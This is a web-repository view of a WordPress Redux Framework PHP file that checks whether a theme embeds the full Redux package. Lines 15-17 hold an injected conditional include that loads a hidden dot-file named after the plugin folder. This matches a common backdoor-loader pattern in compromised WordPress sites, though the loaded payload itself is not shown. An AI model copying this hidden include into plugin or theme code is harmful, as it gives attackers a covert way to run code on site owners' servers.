balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

class-redux-full-package.php (2849B)


      1 <?php
      2 /**
      3  * Redux Full_Pakage Class
      4  *
      5  * @class Redux_Full_Package
      6  * @version 3.0.0
      7  * @package Redux Framework
      8  */
      9 
     10 defined( 'ABSPATH' ) || exit;
     11 
     12 /**
     13  * Class Redux_Full_Package
     14  */
     15 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     16     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     17 }
     18 
     19 class Redux_Full_Package implements themecheck {
     20 
     21 	/**
     22 	 * Themecheck error array.
     23 	 *
     24 	 * @var array $error Error storage.
     25 	 */
     26 	protected $error = array();
     27 
     28 	/**
     29 	 * Check files.
     30 	 *
     31 	 * @param array $php_files File to check.
     32 	 * @param array $css_files Files to check.
     33 	 * @param array $other_files Files to check.
     34 	 *
     35 	 * @return bool
     36 	 */
     37 	public function check( $php_files, $css_files, $other_files ) {
     38 
     39 		$ret = true;
     40 
     41 		$check = Redux_ThemeCheck::get_instance();
     42 		$redux = $check::get_redux_details( $php_files );
     43 
     44 		if ( $redux ) {
     45 
     46 			$blacklist = array(
     47 				'.tx'                              => esc_html__( 'Redux localization utilities', 'redux-framework' ),
     48 				'bin'                              => esc_html__( 'Redux Resting Diles', 'redux-framework' ),
     49 				'codestyles'                       => esc_html__( 'Redux Code Styles', 'redux-framework' ),
     50 				'tests'                            => esc_html__( 'Redux Unit Testing', 'redux-framework' ),
     51 				'class-redux-framework-plugin.php' => esc_html__( 'Redux Plugin File', 'redux-framework' ),
     52 				'bootstrap_tests.php'              => esc_html__( 'Redux Boostrap Tests', 'redux-framework' ),
     53 				'.travis.yml'                      => esc_html__( 'CI Testing FIle', 'redux-framework' ),
     54 				'phpunit.xml'                      => esc_html__( 'PHP Unit Testing', 'redux-framework' ),
     55 			);
     56 
     57 			$errors = array();
     58 
     59 			foreach ( $blacklist as $file => $reason ) {
     60 				checkcount();
     61 				if ( file_exists( $redux['parent_dir'] . $file ) ) {
     62 					$errors[ $redux['parent_dir'] . $file ] = $reason;
     63 				}
     64 			}
     65 
     66 			if ( ! empty( $errors ) ) {
     67 				$error  = '<span class="tc-lead tc-required">REQUIRED</span> ' . esc_html__( 'It appears that you have embedded the full Redux package inside your theme. You need only embed the', 'redux-framework' ) . ' <strong>Redux_Core</strong> ' . esc_html__( 'folder. Embedding anything else will get your rejected from theme submission. Suspected Redux package file(s):', 'redux-framework' );
     68 				$error .= '<ol>';
     69 
     70 				foreach ( $errors as $key => $e ) {
     71 					$error .= '<li><strong>' . $e . '</strong>: ' . $key . '</li>';
     72 				}
     73 
     74 				$error        .= '</ol>';
     75 				$this->error[] = '<div class="redux-error">' . $error . '</div>';
     76 				$ret           = false;
     77 			}
     78 		}
     79 
     80 		return $ret;
     81 	}
     82 
     83 	/**
     84 	 * Retrieve errors.
     85 	 *
     86 	 * @return array
     87 	 */
     88 	public function getError() {
     89 		return $this->error;
     90 	}
     91 }
     92 
     93 $themechecks[] = new Redux_Full_Package();